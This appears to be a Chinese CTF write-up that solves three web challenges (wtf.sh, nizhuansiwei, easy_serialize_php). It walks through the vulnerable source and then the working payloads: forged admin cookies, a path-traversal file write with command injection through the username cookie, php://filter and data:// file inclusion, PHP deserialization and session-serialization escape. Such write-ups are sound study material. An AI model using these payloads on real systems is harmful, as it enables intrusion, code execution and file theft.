X-Powered-By: wtf.sh 0.0.0.0.1 "alphaest of bets"
X-Bash-Fact: Loops are just commands. So, you can pipe things into and out of them!

image-20210216200957001

有一大波内容

可以看到,其中的内容是 shell 脚本

1
$ source user_functions.sh

可见执行了 user_functions.sh

1
2
3
4
if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
then
get_flag1
fi

可以看到,只要以 admin 登录就能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
source user_functions.sh
if contains 'post' ${!URL_PARAMS[@]} && file_exists "posts/${URL_PARAMS['post']}"
then
post_id=${URL_PARAMS['post']};
for post_file in $(ls posts/${post_id}/* | sort --field-separator='/' --key=3 -n); do
echo "<div class=\"post\">";
poster=$(nth_line 1 ${post_file} | htmlentities);
title=$(nth_line 2 ${post_file} | htmlentities);
body=$(tail -n +3 ${post_file} | htmlentities 2> /dev/null);
echo "<span class=\"post-poster\">Posted by <a href=\"/profile.wtf?user=$(basename $(find_user_file "${poster}"))\">${poster}</a></span>";
echo "<span class=\"post-title\">$title</span>";
echo "<span class=\"post-body\">$body</span>";
echo "</div>";
done
else
echo "Pls give a (valid) post id";
fi;

上面这段代码 和 post.wtf 的内容生成息息相关

从 url 输入的 post=a,则posts/a 这个目录下所有的文件将被打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
source user_functions.sh
if [[ $method = 'POST' ]]
then
local username=${POST_PARAMS['username']};
local password=${POST_PARAMS['password']};
local userfile=$(find_user_file ${username});
if [[ ${userfile} != 'NONE' ]]
then
# User exists, try to login
if $(check_password ${username} ${password})
then
# correct pass
set_cookie "USERNAME" ${username};
set_cookie "TOKEN" $(nth_line 3 ${userfile});
redirect "/";
else
# incorrect pass
echo "<h3>Sorry, wrong password for user ${username}:(<br>Try again?</h3>";
fi
else
# user doesn't exist
echo "<h3>Sorry, user ${username} doesn't exist :(<br>Try again?</h3>"
fi
fi

上面这段代码是关于登录的

先会根据 username 调用函数 find_user_file,这个函数直接确定了用户名是否存在,其打印到 stdout 的内容最终会参与 TOKEN 的形成

1
2
3
4
5
6
7
8
9
10
11
12
function find_user_file {
local username=$1;
local hashed=$(hash_username "${username}");
local f;
if [[ -n "${username}" && -e "users_lookup/${hashed}" ]]
then
echo "users/$(cat "users_lookup/${hashed}/userid")";
else
echo "NONE"; # our failure case -- ugly but w/e...
fi;
return;
}

考虑下面这段代码

1
2
3
set_cookie "USERNAME" ${username};
set_cookie "TOKEN" $(nth_line 3 ${userfile});
redirect "/";

其中的 $username 应该就是 得是 admin

而 TOKEN 是

1
nth_line 3 users/$(cat "users_lookup/${hashed}/userid")

在 users 目录下的某一个文件当中

1
2
3
4
function hash_username {
local username=$1;
(shasum <<< ${username}) | cut -d\ -f1;
}

所以可以得到 $hashed

image-20210216214530239

1
4015bc9ee91e437d90df83fb64fbbe312d9c9f05

不过其实没必要

image-20210216221628635

因为直接就暴露了

1
uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

所以接下来伪造身份

image-20210216223208099

1
Flag: xctf{cb49256d1ab48803

竟然只有一半

观察函数

发现一个 reply

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");

curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

找到 reply.wtf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
source user_functions.sh
source post_functions.sh
if [[ $method = 'POST' ]]
then
if is_logged_in
then
if [[ ${POST_PARAMS['text']} != '' && ${URL_PARAMS['post']} != '' ]]
then
reply "${URL_PARAMS['post']}" "${COOKIES['USERNAME']}" "${POST_PARAMS['text']}"
redirect "/post.wtf?post=${URL_PARAMS['post']}#${next_post_id}";
else
redirect "/reply.wtf?post=${URL_PARAMS['post']}";
fi
else
redirect "/login.wtf"
fi
fi

if [[ ${URL_PARAMS['post']} = '' ]]
then
echo "u need to be replying to a post, you dumdum";
fi

if is_logged_in
then
echo "u r logged in, s0 gib reply"
else
redirect "/login.wtf"
fi

抓个包看看

image-20210216224459122

因为这里有个编程不严谨的地方

1
next_file=(posts/${post_id}/${next_reply_id});

image-20210217000427296

因而实际上next_file的我们可以自定义

所以可以直接写个 shell.wtf

1
/reply.wtf?post=sh.wtf%20
1
2
3
4
Cookie: USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
Upgrade-Insecure-Requests: 1

text=$ find / -name flag*&submit=

image-20210217002708258

但是好像没法访问

换个目录

1
/reply.wtf?post=../users_lookup/sh.wtf%20

image-20210217003258580

可以访问了,但是没有执行命令

1
2
3
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

text 是被 append 到 username 的后面的,没法另起一行

那就只能更改 username 的值了

1
/reply.wtf?post=../users_lookup/hello.wtf%20
1
2
3
4
Cookie: USERNAME=${echo,hello}; TOKEN=5AqQQysWB4trZJq356Y1CmCsvjtcmYshRhjSDwhWII83UQZgXP103YVp2uM78jGfeJebp6FPHRavz4Sc3gVeoA==
Upgrade-Insecure-Requests: 1

text=aaaa&submit=

image-20210217010729005

1
2
3
4
5
6
7
8
/reply.wtf?post=../users_lookup/find.wtf%20



Cookie: USERNAME=${find,/,-name,*flag*}; TOKEN=/LFYD/KaD/ncUCVGqEsIHvrFpAGVHPeS2GBOb0pmvmqBRS6VchO8uaPfq350+W7T1POXsYUR7Gw/fo9V5MzwpA==
Upgrade-Insecure-Requests: 1

text=aaaa&submit=

image-20210217011221935

1
2
3
4
5
6
7
/home/flag2
/home/flag2/flag2.txt
/home/flag1
/home/flag1/flag1.txt

/usr/bin/get_flag2
/usr/bin/get_flag1

接下来去得到剩下的那半flag

可以直接再注册一个账户

1
2
3
4
5
6
/reply.wtf?post=../users_lookup/flag.wtf%20

Cookie: USERNAME=$/usr/bin/get_flag2; TOKEN=mmEmvGF2VYwm0x8CHcz3B0T5nejhW2Tj8OjHe9uomXhrqAvC90NMcUNM11wxJDtTffL7iTB5fUH0gfDO/3Dc1w==
Upgrade-Insecure-Requests: 1

text=aaaa&submit=

image-20210217012153506

得到flag

1
149e5ec49d3c29ca}
1
Flag: xctf{cb49256d1ab48803149e5ec49d3c29ca}

0x14 nizhuansiwei

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

提示要 include useless.php

image-20210217114611293

但是没什么用

试试看filter协议读useless.php

1
?text=data://TEXT/HTML,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php?

image-20210217114736623

解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

所以要调用Flag 的 __tostring 方法,然后file_get_content 得到flag.php 的内容

1
?text=data://TEXT/HTML,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210217115312323

1
cyberpeace{bb7d21ba5f5c37dd1067705cee086142}

0x15 easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

可以通过 改变 参数 f 的值,调用不同的函数

可以看 phpinfo

如果 f=show_image,就会反序列化 $serialize_info,然后会执行 file_get_contetents

看看phpinfo

image-20210217122140796

1
d0g3_f1ag.php
1
extract($_POST);

这个语句可以控制当前脚本的所有变量值

image-20210217121602848

可以直接给 function 变量赋值

1
$serialize_info = filter(serialize($_SESSION));

$_SESSION 会被序列化,经过 filter 之后,其中的’php’,’flag’,’php5’,’php4’,’fl1g’,都被替换成 “”

1
2
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

通过这两个语句,可以将SESSION 序列反序列化,然后取其中的 img ,base64cecode 之后,被 file_get_contents

因为filter 函数的缘故,可以利用字符逃逸来实现任意文件的读取

没有f 参数,没有 img_path 参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
$_SESSION["z"] = "hello,flagflagflagflag";
$_SESSION["a"] = 'hellononononono";s:3:"img";s:8:"ZmxhZw==";}';

$_SESSION['img'] = base64_encode('flag');

print_r(serialize($_SESSION));
$serialize_info = filter(serialize($_SESSION));
print_r("\n");
print_r($serialize_info);

上面的 z 和 a 是随便写的

看看效果

image-20210217124921484

有感觉了,读一读 d0g3_f1ag.php

1
2
d0g3_f1ag.php
base64encode("d0g3_f1ag.php") = ZDBnM19mMWFnLnBocA==
1
2
3
4
5
6
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
$_SESSION["z"] = "helloflagflagflagflagphp";
$_SESSION["a"] = 'hhh";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

image-20210217131359879

1
index.php?f=show_image
1
_SESSION[z]=helloflagflagflagflagphp&_SESSION[a]=hhh";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"b";N;}

image-20210217144337223

1
/d0g3_fllllllag

得到flag 的位置

1
/index.php?f=show_image
1
_SESSION[z]=helloflagflagflagflagphp&_SESSION[a]=hhh";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"b";N;}

image-20210217144607323